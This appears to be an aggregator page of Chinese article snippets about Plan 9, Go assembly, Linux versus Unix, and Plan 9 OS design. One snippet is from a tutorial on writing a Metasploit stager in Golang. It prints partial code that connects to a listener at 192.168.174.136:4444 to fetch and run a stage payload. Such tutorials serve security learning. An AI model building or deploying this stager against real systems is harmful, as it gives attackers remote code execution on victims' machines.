Plan 9

深入Go的底层,带你走近一群有追求的人

孤者浪人 提交于 2021-02-18 00:02:44
[toc] 上周六晚上,我参加了“Go夜读”活动,这期主要讲Go汇编语言,由滴滴大佬曹春晖大神主讲。活动结束后,我感觉打通了任督二脉。活动从晚上9点到深夜11点多,全程深度参与,大呼过瘾,以至于活动结束之后,久久不能平静。 可以说理解了Go汇编语言,就可以让我们对Go的理解上一个台阶,很多以前模棱的东西,在汇编语言面前都无所遁形了。我在活动上收获了很多,今天我来作一个总结,希望给大家带来启发! 缘起 几周前我写了一篇关于 defer 的文章: 《Golang之如何轻松化解defer的温柔陷阱》 。这篇文章发出后不久就被 GoCN 的每日新闻收录了,然后就被Go夜读群的大佬杨文看到了,之后被邀请去夜读活动分享。 正式分享前,我又主题阅读了很多文章,以求把defer讲清楚。阅读过程中,我发现但凡深入一点的文章,都会抛出Go汇编语言。于是就去搜索资料,无奈相关的资料太少,看得云里雾里,最后到了真正要分享的时候也没有完全弄清楚。 夜读活动结束之后,杨大发布了由春晖大神带来的夜读分享预告: 《plan9 汇编入门,带你打通应用和底层》 。我得知这个消息后,非常激动!终于有牛人可以讲讲Go汇编语言了,听完之后估计会有很大提升,也能搞懂defer的底层原理了! 接着,我发现,春晖大神竟然和我在同一个公司!我在公司内网上搜到了他写的plan9汇编相关文章,发布到Go夜读的github上

如何区分Linux和Unix?操作系统!

谁都会走 提交于 2021-01-29 09:00:14
  Linux和Unix同属于操作系统,很多人也知道它们之间有很多相似之处,因此让人在选择的时候有所模糊,那么如何区分Linux和Unix?我们来看看吧。   什么是Unix?   Unix1969年在 AT&T 公司在美国新泽西所开发的,很多操作系统都受到了Unix的启发,Unix 也受到了未完成的 Multics 系统的启发。Unix 的另一版本是来自贝尔实验室的 Plan 9。   Unix主要应用在服务器、工作站中,也有可能用在个人计算机上。在互联网、计算机网络、客户端、服务器模型方面有着重要的作用。   Unix主要特性:支持多任务、比 Multics 操作更加简单、数据以纯文本形式存储、可以同时访问多用户账户。   什么是Linux?   Linux是一个基于Unix操作系统的开源操作系统,是一个可以自由下载的系统。Linux跟其他的系统不同,其他的系统需要付费,而且Linux也被缔造成为了商业系统。   Linux是一套免费使用和自由传播的类Unix操作系统,是一个基于POSIX和Unix的多用户、多任务、支持多线程和多CPU的操作系统。它能运行主要的Unix工具软件、应用程序和网络协议。它支持32位和64位硬件。Linux继承了Unix以网络为核心的设计思想,是一个性能稳定的多用户网络操作系统。   Linux主要特性:可以多任务运行、支持多个线程、多用户

Plan9:一个从0开始考虑分布式,分布appmodel的os设计

生来就可爱ヽ(ⅴ<●) 提交于 2020-10-09 15:16:53
本文关键字:plan9,Inferno,limbo,Plan 9 from User Space:plan9port 在《除了UNIX,我们真的有可选的第二开源操作系统吗?》中,我们讲到那些传统的os之争是集中于游戏好不好支持,桌面好不好体验,发行够不够流行,总体好不好用这些方面。而从x86 cpu从0开始的抽象全栈,他们都是一样的 ------- 换言之,某种意义上他们都是一样的OS。 这种共同点在于哪里呢?对于最终的APP和APP开发来说,它们都是基于单PC+单PC下网络程序设计的。于是在这种架构下有了我们现在处处见到的web,云,—— 我们发现,当今的集群和分布式是放在云这个普化架构来做的:集群就是好多好多的PC通过网络计算起来,附带一些PC监控节点 —— 它们还是PC,在每一台PC内部运行的APP,都是从socket开始(更抽象一点,也许还有DCOM,消息件)的“云”程序:这种程序其实还是网络程序,这种总架构下的APPDEV,以OS来看,其实本质都是单机环境下网络交互的程序。 而这些都不是究极的分布式和分布式开发设计。 在《一种开发发布合一,语言问题合一的shell programming式应用开发设想》中,我们讲到了对于任何programming的设想,其实都是一个四栈从0开始叠加的设计。每一个appmodel,都是从hardware从0抽象来的,OS是大件。———

msf stagers开发不完全指北(二)

删除回忆录丶 提交于 2020-08-18 05:17:39
采用 Golang 开发stagers 上一篇文章 msf stagers开发不完全指北(一) 中我们谈到如何采用 c 进行 msf 的 stagers 开发,这篇文章我们探讨一下如何使用 Golang 实现同样的功能 思路梳理 在 Golang 中一点比较重要的是,我们如何能够获取到 socket 的文件描述符,除此之外,我们还是同样的步骤 向 msf 监听地址发起 tcp 请求 获取 stages 将 socket fd 放入寄存器 edi 从起始地址开始执行 stages 编译环境 OS: Windows 10 Golang: go version go1.14.1 windows/amd64 获取stages socket, err := net.Dial("tcp", "192.168.174.136:4444") if err != nil { return err } // read payload size var payloadSizeRaw = make([]byte, 4) numOfBytes, err := socket.Read(payloadSizeRaw) if err != nil { return err } if numOfBytes != 4 { return errors.New("Number of size bytes was not

Go语言简介

自作多情 提交于 2020-01-06 17:18:09
【推荐】2019 Java 开发者跳槽指南.pdf(吐血整理) >>> 简介: Go语言是谷歌推出的一种全新的编程语言。 Go概述 Go语言是谷歌2009年发布的第二款开源编程语言,它专门针对多处理器系统应用程序的编程进行了优化,它是一种系统语言其非常有用和强大,其程序可以媲美C或C++代码的速度,而且更加安全、支持并行进程。 Go支持面向对象,而且具有真正的闭包(closures)和反射 (reflection)等功能。 Go可以在不损失应用程序性能的情况下降低代码的复杂性。 发表时间: 2009年 类型: 开源编程语言 公司: 谷歌 官网: http://golang.org API文档: https://golang.org/doc/ 教程: http://www.muzhuangnet.com/manual/Golang/ 下载: https://golang.org/dl/ 技术社区: https://gocn.io/ 目标 Go的目标是希望提升现有编程语言对程序库等依赖性(dependency)的管理,这些软件元素会被应用程序反复调用。由于存在并行编程模式,因此这一语言也被设计用来解决多处理器的任务。 功能特点 · Go语言设计是让软件充分发挥多核心处理器同步多工的优点,它可解决面向对象程序设计面临的麻烦。 · Go的速度也非常快,几乎和C或C++程序一样快